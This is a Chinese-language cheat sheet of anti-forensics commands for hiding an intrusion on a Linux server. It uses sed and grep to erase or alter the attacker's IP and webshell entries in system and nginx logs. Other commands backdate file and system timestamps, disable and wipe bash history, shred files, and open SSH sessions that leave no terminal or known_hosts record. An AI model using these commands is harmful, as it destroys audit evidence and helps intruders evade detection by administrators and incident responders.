登录痕迹清理
基本的日志结构
1 | /var/log/btmp 记录所有登录失败信息,使用lastb命令查看 |
清除日志
1 | # lastb |
删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
sed -i '/自己的ip/'d /var/log/messages
全局替换自己ip
sed -i 's/192.168.166.85/192.168.1.1/g' secure
前面是待替换ip 后面为替换后的ip
时间痕迹清理
ls -al
可以查看创建时间
touch
1 | touch -r 目标时间的文件 需要修改时间的文件 |
date
date -s 20140712 18:30:50
将当前系统日期修改为2014年07月12 18:30:50
hwclock
hwclock --hctosys
# --hctosys
将系统时钟调整为与目前的硬件时钟一致。
操作痕迹清理
服务日志修改
# 使用grep -v来把我们的相关信息删除,
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log/
history记录清理
- 登录ssh后不记录history
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;export HISTSIZE=0; export HISTFILESIZE=0
- 清理
~/.bash_history
history -c
vim /etc/profile
修改HISTSIZE=0
文件覆写
- 单文件
shred -f -u -z -v -n 8 1.txt
- 文件夹
wipe -r
隐藏ssh登录记录
ssh -T root@192.168.0.1 /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
-o UserKnownHostsFile=/dev/null
#这个是knowhost的信息及公钥
-T user@host /bin/bash –i
#不分配伪终端但是给个bash的终端
一键清除脚本
1 | !/usr/bin/bash |